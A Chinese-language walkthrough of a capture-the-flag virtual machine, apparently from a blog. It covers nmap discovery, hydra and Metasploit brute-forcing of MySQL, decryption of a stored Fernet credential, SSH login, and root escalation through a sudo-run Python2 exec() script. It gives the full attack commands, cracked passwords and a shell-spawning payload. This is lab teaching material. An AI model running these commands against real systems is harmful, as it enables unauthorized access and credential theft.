提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
靶机简介
这里我们还是先进行靶机的网络配置:

随后打开Kali,开始接下来的渗透测试:

Kali的相应地址为:192.168.44.131
目标机器网段:192.168.44.0/24
所以接下来我们首先需要得到目标机器的准确IP地址;
信息收集
可以使用多种工具:
bash
nmap -sP 192.168.44.0/24
结果如下:


我们可以看到:192.168.44.132 和 192.168.44.129等两个IP均可进行连通,所以这应该是目标机器的IP地址;
所以要进行详细点信息收集,看其开放了哪些端口以及服务:
bash
# 有结果
nmap -sC -sV -A -T4- -p- 192.168.44.132
结果如下:

很明显,192.168.44.132才是目标机器的IP地址,并且开放了两个端口以及服务;
- 1337/tcp :提供远程 SSH 登录服务,用于系统远程管理与命令执行。
- 3306/tcp :运行 MariaDB 10.3.23(兼容 MySQL 协议) ,提供 数据库服务,用于存储和管理应用数据。
没有
Web服务,我们就少了一个渗透的切入点,当然开放的这两个服务也可以;(难度增加了一点)
SSH漏洞尝试
这里因为没有账号密码,所以我们可以利用nmap 尝试其是否存在漏洞以及信息:
bash
# 查看 SSH 支持的算法和配置
nmap -p1337 --script ssh2-enum-algos 192.168.44.132
#SSH 用户枚举
nmap -p1337 --script ssh-auth-methods 192.168.44.132
# SSH 弱口令爆破
hydra -l root -P rockyou.txt ssh://192.168.44.132 -s 1337
# 多用户爆破:
hydra -L users.txt -P passwords.txt ssh://192.168.44.132 -s 1337
很显然,并没有成功:

数据库漏洞尝试
我们还是先进行数据库信息的收集:
bash
# 数据库信息收集
nmap -p3306 --script mysql-info 192.168.44.132
# 枚举数据库:
nmap -p3306 --script mysql-databases --script-args mysqluser=root,mysqlpass=root 192.168.44.132
# 枚举用户:
nmap -p3306 --script mysql-users --script-args mysqluser=root,mysqlpass=root 192.168.44.132
结果如下:

mysql-info 返回的信息
| 信息 | 含义 |
|---|---|
| Protocol 10 | MySQL协议版本 |
| Version 10.3.23 | MariaDB版本 |
| Auth Plugin | mysql_native_password |
| SupportsMultipleStatements | 支持多语句 |
| SupportsLoadDataLocal | 支持本地文件加载 |
说明:
- 服务器是 Debian 10 默认 MariaDB
- 使用传统认证插件
- 支持 LOAD DATA LOCAL(有时可用于攻击)
因为没有有效信息,所以我们只能尝试对其进行账号密码爆破:
漏洞利用(爆破数据库)
方法一:Hydar爆破数据库账号密码
这里我们使用常见的数据库user名以及密码作为列表,尝试进行爆破:
执行命令,得到如下用户名:
bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 192.168.44.132
用户名列表:

随后尝试爆破:(密码字典/usr/share/wordlists/rockyou.txt)
bash
# MySQL弱口令爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt mysql://192.168.44.132
当然也可以用MSF进行爆破;
方法二:使用MSF尝试爆破数据库
首先进入MSF框架,设置好目标IP以及进程thread数量:
bash
# 设置参数
msfconsole -q
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.44.132
set user_file /home/ok/Sec_tools/users.txt
# set pass_file /home/ok/Sec_tools/user.txt
set pass_file /usr/share/wordlists/rockyou.txt
set threads 5
run
注意:速度比Hydra快多了
成功爆破出密码:

账号:
root密码:
prettywoman
--
后渗透:提权
MSF收集数据库信息(登陆后)
随后分别执行下述命令:
bash
# 枚举数据库 版本信息和服务器Banner,用于识别数据库类型和版本。
use auxiliary/scanner/mysql/mysql_version
-------拥有数据库权限后,可利用的提取模块---------
# 在拥有数据库登录凭据后 导出 mysql.user 表中的密码哈希
use auxiliary/scanner/mysql/mysql_hashdump
# 使用已知账号密码 枚举数据库信息(用户、权限、数据库、服务器信息等)
use auxiliary/admin/mysql/mysql_enum
# 拥有凭据后 导出数据库结构(表、字段、schema)
auxiliary/scanner/mysql/mysql_schemadump
# 数据库运行在 Windows 且拥有高权限账户,可通过修改 启动项执行系统命令。
exploit/windows/mysql/mysql_start_up
注意:在每个模块中都需要设置
- RHOSTS
- USERNAME
- PASSWORD
数据库版本:MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1

如果不熟悉MSF框架,我们也可以尝试手动进行收集;
手动信息收集
登陆数据库:
bash
# 手动连接数据库
mysql -h 192.168.44.132 -u root -p
结果如下:

手动数据库信息收集常用命令如下:
- 查看当前数据库:
show databases - 选择数据库:
use 数据库名; - 查看当前数据库中的表:
show tables; - 查看表结构:
desc 表名; - 查询表中所有数据:
select - from 表名; - 限制查询数据数量:
select - from 表名 limit 10; - 查看数据库用户:
select user,host from mysql.user;
结果如下:

在数据库 data 里发现了一条记录,其中:
cred:看起来是 Fernet 加密后的密文keyy:对应的 Fernet 密钥
因为 Fernet 是对称加密,只要有密钥就可以直接解密。所以接下来的思路就是 导出密文和密钥 → 本地解密。
python
from cryptography.fernet import Fernet
key = b"UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0="
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
f = Fernet(key)
print(f.decrypt(token).decode())
把密文和密钥复制下来后,将其进行解密;

得到账号密码:lucy / wJ9`"Lemdv9[FEw-
而这个很有可能就是SSH远程登陆的账号密码,尝试一下:
bash
# SSH 登录命令
ssh lucy@192.168.44.132 -p 1337
输入密码 wJ9`"Lemdv9[FEw-
果然不出所料,成功进入:

发现了一个文件:user.txt

获取root权限---SUDO提权
随后尝试提权,常见的方法有SUID,SUDO,cron定时任务 等提权方法(其中的详细步骤可以看我这个系列的其他文章,相信对你有所帮助~)
bash
# 查看 sudo 权限
sudo -l
# 查看 SUID 程序
find / -perm -4000 2>/dev/null
# 查看定时任务
cat /etc/crontab
ls -al /etc/cron*
# 查看系统版本
uname -a
cat /etc/os-release
# 查看可写目录
find / -writable -type d 2>/dev/null
这里经过尝试,发现存在SUDO提权:

exp.py内容如下:
bash
lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)
代码分析:
这个脚本就是 经典 Python2 提权漏洞,原因在于:
python
uinput = raw_input('how are you?')
exec(uinput)
关键点:
raw_input()会读取用户输入exec()会 执行输入的 Python 代码- 该脚本又能通过 sudo 以 root 权限运行
所以实际上等价于:
root 权限执行你输入的 Python 代码
这就是 RCE → root 提权 🚀
执行命令如下:
bash
sudo /usr/bin/python2 /opt/exp.py
会提示:
how are you?
输入:
python
import os; os.system("/bin/bash")
如果成功,你会得到 root shell。
漏洞的本质:这是一个 Python exec 命令执行漏洞:
用户输入 → exec() → root 执行
成功getshell


完整攻击链总结
nmap 扫描
↓
MySQL 3306 未授权 / 弱口令
↓
数据库发现 Fernet 加密凭据
↓
解密得到 lucy SSH 密码
↓
SSH 登录
↓
sudo python2 exp.py
↓
exec() 命令执行
↓
root shell
期待下次再见;